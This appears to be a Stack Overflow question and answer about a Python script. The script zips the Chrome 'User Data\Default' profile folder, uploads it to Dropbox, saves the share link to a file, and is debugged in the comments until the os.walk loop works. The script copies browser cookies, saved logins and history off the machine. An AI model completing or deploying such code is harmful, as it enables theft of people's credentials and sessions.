0

I was making script, that will upload to dropbox zip file with folder Default, path: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default. The error was: [1] https://i.stack.imgur.com/umnJ3.jpg My code is:

    HO = zipfile.ZipFile('huilo.zip', 'w')
    os.chdir('C:\Users\user\AppData\Local\Google\Chrome\User Data')
    for root, dirs, files in os.walk('Default/'):
        for file in files:
            HO.write(os.path.join(root, file))
    HO.close()
    global dbx
    access_token = 'access token'
    ssss = os.path.join('C:\Users\user/Desktop/huilo.zip')
    dbx = dropbox.Dropbox(access_token)
    with open(ssss, 'r') as f:
        dbx.files_upload(f.read(), '/w/huilo.zip',  mode=dropbox.files.WriteMode("overwrite"), autorename=False, mute = True)
    sdss = dbx.sharing_create_shared_link(path = '/w/huilo.zip', short_url=False, pending_upload=None)
    o = str(sdss.url)
    my = open('C:\Users\user/Desktop/sho.txt', "w", encoding='utf-8')
    my.write(o)
    my.close()
ZiPie
  • 1
  • 3
  • Is the file you're attempting to write actually a folder? This will appear as a permission denied error. https://stackoverflow.com/questions/36434764/permissionerror-errno-13-permission-denied – Nick ODell Sep 04 '22 at 21:59
  • @NickODell yes, the path is: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default. I want to zipfile this folder with files, and upload to dropbox. – ZiPie Sep 04 '22 at 22:04
  • 1
    always put FULL error message (starting at word "Traceback") in question (not in comments) as text (not screenshot, not link to external portal). There are other useful information in the full error/traceback. – furas Sep 04 '22 at 23:05
  • Tell me, does the traceback in the error show you a valid path? – nigel239 Sep 05 '22 at 06:14
  • @nigel239 I think yes, because i'm doing zip file with whole folder Default C:\Users\user\AppData\Local\Google\Chrome\User Data\Default – ZiPie Sep 05 '22 at 06:26
  • @nigel239 as you can see: for root, dirs, files in os.walk('Default/'): for file in files: HO.write(os.path.join(root, file)) root: C:\Users\user\AppData\Local\Google\Chrome\User Data file: \Default. I think the error is that the program cannot write the file "data_... in path: /Default/Cache\Cache_Data\data_...\" to zipfile – ZiPie Sep 05 '22 at 06:29
  • @nigel239 Yes, because the folder is created on the desktop, for some reason. You can see code – ZiPie Sep 05 '22 at 06:32
  • @nigel239 HO = zipfile.ZipFile('huilo.zip', 'w') ***os.chdir('C:\Users\user\AppData\Local\Google\Chrome\User Data')*** for root, dirs, files in os.walk('Default/'): for file in files: HO.write(os.path.join(root, file)) HO.close() – ZiPie Sep 05 '22 at 06:34
  • Python's backslash is an escape character. It has special meaning. Try this: `os.chdir('C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data')`. Pick one of the two. Or forward slashes, or backward slashes. Not both for paths. – nigel239 Sep 05 '22 at 06:35
  • https://thispointer.com/python-how-to-create-a-zip-archive-from-multiple-files-or-directory/ Second block here shows you how to do it. – nigel239 Sep 05 '22 at 06:42
  • @nigel239 Hi, this is not working, the error is saying, that program can't read file without extension in path /Default/Cache\Cache_Data\data_...\. – ZiPie Sep 05 '22 at 11:33
  • Did I say you should use that? My friend, look at your image. I cannot make more of the path. – nigel239 Sep 05 '22 at 11:45
  • @nigel239 sorry.. – ZiPie Sep 05 '22 at 12:00
  • @nigel239 I FOUND SOLUTION The error was in for root, dirs, files in os.walk('Default/'): for file in files: HO.write(os.path.join(root, file)) Only what i need to do, it's a change root to subdir Correct code: for subdir, dirs, files in os.walk('Default/'): for file in files: HO.write(os.path.join(subdir, file)) – ZiPie Sep 05 '22 at 12:24

1 Answers1

0

The error was in

for root, dirs, files in os.walk('Default/'):
    for file in files:
        HO.write(os.path.join(root, file))

Only what i need to do, it's a change root to subdir Correct code:

for subdir, dirs, files in os.walk('Default/'):
    for file in files:
        HO.write(os.path.join(subdir, file))
ZiPie
  • 1
  • 3